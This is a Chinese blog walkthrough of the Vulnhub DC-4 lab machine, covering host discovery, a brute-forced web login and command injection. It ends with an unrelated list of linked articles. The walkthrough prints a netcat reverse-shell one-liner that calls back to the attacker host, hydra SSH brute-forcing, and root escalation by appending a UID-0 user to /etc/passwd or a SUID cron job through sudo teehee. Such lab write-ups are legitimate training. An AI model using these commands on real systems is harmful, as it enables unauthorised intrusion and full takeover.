前言

靶机下载地址:https://www.vulnhub.com/entry/dc-4,313/

KALI地址:192.168.75.108

靶机地址:192.168.75.207


一.信息发现

1.主机发现

使用命令如下

netdiscover -r 192.168.75.108

如下图,发现了我们靶机的地址。


2.主机扫描

这里使用nmap工具进行扫描,命令如下。

nmap -A -T4 -O -p 0-65535 192.168.75.207

扫描结果如下,发现开放了80,22号端口。


3.目录扫描

既然开放了80端口,那么我们就可以二话不说直接开始目录扫描,命令如下。

dirb http://192.168.75.207

扫描结果如下图,发现并没有什么可以利用的点。


4.网页信息收集

既然开放了,80端口,我们可以直接去访问,如下图,打开首页发现是一个登录框,我们可以尝试登录,随后又抽卡了源代码,网络信息,均没有发现可以利用的点。


二.漏洞利用

经过上面信息收集,发现了首页是可以登录的,并且没有验证码,试过了SQL注入,不行,尝试弱密码爆破。

爆破结果如下,发现密码可能是happy。

经过测试发现就是happy,如下图,并且成功登录进去。

1.命令执行

经过发现,发现可以执行命令,如下图,想法是是否可以尝试绕过,执行其他命令。

这里就可以使用bp进行抓包,然后进行绕过,如下图

下面是输出结果,如下图。

所以我们就有了思路,一个思路是,让靶机下载我们的webshell,然后我们连接,第二个思路是反弹shell。


2.反弹shell

简单的说一下第一种思路,经过测试,发现靶机没有wget的下载权限,就放弃了,直接来到第二个思路也就是反弹shell的思路。

这里在靶机使用的命令是rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.75.108 6666 > /tmp/f;

然后在kali里面使用nc命令来进行监听,命令如下。

nc -lnvp 6666

如下图效果开始监听。

这里说一下历程,按照正常来说,像如下图一样发包就可以直接反弹成功了,但是发送了,就是没有反弹,看了大佬的博客才知道不能这样发包。

所以我们需要在前端修改代码,才能成功反弹,如下图查看源代码修改即可,然后点击run运行就可以直接成功反弹shell了。

如下图,KALI成功接收反弹。


三.提权

1.获取jim账户密码

先按照如下图操作,先查看自己是什么用户和ID,然后使用python更换终端。

然后我们可以查看/etc/passwd下面的用户,如下图,发现了,三个用户,一个是jim,一个是charles,一个是sam

然后经过查找,发现在home目录下面发现了几个人的目录路径,如下图。

经过测试发现,在jim目录下面,发现了老密码的字样,我们直接打开看。

如下图,打开全是密码,这里的思路,这么多密码,肯定要试试暴力破解了,这里我们把密码复制进去文本

我们这里使用hydra工具来进行暴力破解ssh,使用命令如下。

hydra -l jim -P pass.txt -s 22 ssh://192.168.75.207 -vV

-l #对应的是一个用户,如果是大写的-L就是用户本
-P #对应的是一个密码本,如果是小p那么就是一个密码
-s #对应的是端口
-vV #显示破解过程

如下图破解成功,成功发现jim的密码。

账户:jim

密码:jibril04

但是经过测试发现jim这个账户啥也不能干啊。


2.获取Charles账户密码

经过一番查找在/var/mail下面发现了一封邮件,邮件内容如下图,发现是密码。

我们可以尝试登录一下查看,如下图,发现可以登录,然后我们查看是否有sudo权限,我们直接使用如下命令查看。

sudo -l

发现有teeche的命令执行权限,如下图。


3.执行提权操作

因为不熟悉teehee的提权方式,所以不怎么熟悉,就查了一下资料,这里有两种方法可以提权,第一种就是在/etc/passwd下面添加用户

第二种方法就是在linux的自动任务执行里面进行利用。


1.在/etc/passwd添加用户

首先需要执行一个命令perl -le 'print crypt("123456", "ken"),如下图。

然后就可以执行一个命令来进行添加用户,命令如下。

echo "takagisan:keNdbTFs2CPY6:0:0:::/bin/bash" | sudo teehee -a /etc/passwd

然后如下图,报错失败,查了一下资料之后,发现需要第一次登录root用户在退出来就可以了,所以我这里直接换其他的提权方式了。


2.创建定时任务给提权

看了一下大佬的博客,发现是这样的,创建一个定时人物然后给/bin/sh赋予SUID的权限,然后用teehee命令这个定时任务,写到/etc/crontab里面去。

命令如下。

echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab

crontab命令详解可以百度查资料。

这样之后我们就可以直接在控制台里面输入/bin/sh就可以了,如下图提权成功。

然后我们就可以去查看flag了,如下图,在root目录发现flag。


四.总结

需要注意查看var下面的mail邮件目录,然后提权需要注意teehee提权方式,还需要多注意查看各种敏感目录,和文件。

Vulnhub-DC-4靶机实战的更多相关文章

  1. DC-1靶机实战和分析

    前言 我们都知道,对靶机的渗透,可以宽阔自己的解题思路,练习并熟悉相关操作命令,提高自己的能力.下面我就对Vulnhub的DC-1靶机进行渗透,靶机设置了5个flag,咱们依次找到它.并通过图文形式讲 ...

  2. vulnstack靶机实战01

    前言 vulnstack是红日安全的一个实战环境,地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/最近在学习内网渗透方面的相关知识,通过对靶机的 ...

  3. 【Vulnhub】DC-2靶机

    Vulnhub DC-2 靶机 信息搜集 访问web端发现访问不了,可以观察到相应的URL为域名而不是IP,需要在hosts文件种添加一条DNS记录. host位置:C:\Windows\System ...

  4. vulnhub DC:1渗透笔记

    DC:1渗透笔记 靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/ kali ip地址 信息收集 首先扫描一下靶机ip地址 nmap -sP 192.168 ...

  5. Vulnhub-Tomato靶机实战

    前言 靶机下载地址:https://www.vulnhub.com/entry/tomato-1,557/ KALI地址:192.168.94.108 靶机地址:192.168.94.30 一.信息收 ...

  6. 3. 文件上传靶机实战(附靶机跟writeup)

    upload-labs 一个帮你总结所有类型的上传漏洞的靶场 文件上传靶机下载地址:https://github.com/c0ny1/upload-labs   运行环境 操作系统:推荐windows ...

  7. vulnhub之GoldenEye-v1靶机

    靶机:virtualbox  自动获取 攻击:kali linux    自动获取 设置同一张网卡开启dhcp ifconfig攻击IP是那个网段(也可以netdiscpver,不过毕竟是自己玩懒得等 ...

  8. DVWA靶机实战-文件上传漏洞(二)

    继续打靶机:当前靶机的安全级别:medium 第一步 上传一句话木马,这次没有之前那么顺利了,文件显示上传失败,被过滤. 点开右下角view source查看源码: 只允许上传image/jpeg格式 ...

  9. hacknos靶机实战

    工具: kali 192.168.1.6 nmap 打开使用nmap -sP 192.168.1.0/24 扫描活跃的主机 发现目标ip 使用nmap 查看开启了什么服务Nmap -v -A -PN ...

随机推荐

  1. XML 文档定义有几种形式?它们之间有何本质区别?解析 XML 文档有哪几种方式?

    XML 文档定义分为 DTD 和 Schema 两种形式,二者都是对 XML 语法的约束,其 本质区别在于 Schema 本身也是一个 XML 文件,可以被 XML 解析器解析,而且 可以为 XML ...

  2. Java 线程具有五中基本状态 ?

    1.新建状态(New):当线程对象对创建后,即进入了新建状态,如:Thread t = new MyThread(): 2.就绪状态(Runnable):当调用线程对象的 start()方法(t.st ...

  3. 信号量,semaphore源代码之我见

    信号量,Semaphore,一个限定访问线程数量的工具类,属于并发包java.util.concurrent 里面的类. Semaphore,内部提供了构造方法(包含默认的非公平信号量构造方法,已经可 ...

  4. 1. 了解Git和Github

    1. 了解Git和Github 1.1 什么是Git Git是一个免费.开源的版本控制软件 1.2 什么是版本控制系统 版本控制是一种记录一个或若干个文件内容变化,以便将来查阅特定版本修订情况得系统. ...

  5. (SSM框架)实现小程序图片上传(配小程序源码)

    阅读本文约"2分钟" 又是一个开源小组件啦! 因为刚好做到这个小功能,所以就整理了一下,针对微信小程序的图片(文件)上传! 原业务是针对用户反馈的图片上传.(没错,本次还提供小程序 ...

  6. 顺序、随机IO和Java多种读写文件性能对比

    概述 对于磁盘的读写分为两种模式,顺序IO和随机IO. 随机IO存在一个寻址的过程,所以效率比较低.而顺序IO,相当于有一个物理索引,在读取的时候不需要寻找地址,效率很高. 基本流程 总体结构 我们编 ...

  7. 《头号玩家》AI电影调研报告(二)

    四. 涉及前沿技术及与现实的交互 1.VR技术 在影片中,斯皮尔伯格用他认为未来的VR虚拟技术为我们创造了众多精彩的画面,令人佩服其对科技的预见性.其中好多的装备特别引人注目,部分也在现实中存在:VR ...

  8. python---实现单例模式

    """ 单例模式 单利模式是一种设计模式, 应用该模式的类只会生成一个实例, 可以保证在程序的不同位置 都可以且仅可以取到同一个对象实例. 如果实例不存在, 会创建一个实 ...

  9. Java---基本程序结构

    一个完整的Java程序: /** * 文档注释 * * @author wind8 * */ public class Hello { /** * @param args */ public stat ...

  10. JavaSE常用类之File类

    File类 只用于表示文件或目录的信息,不能对文件内容进行访问. java.io.File类∶代表文件和目录.在开发中,读取文件.生成文件.删除文件.修改文件的属性时经常会用到本类. File类不能访 ...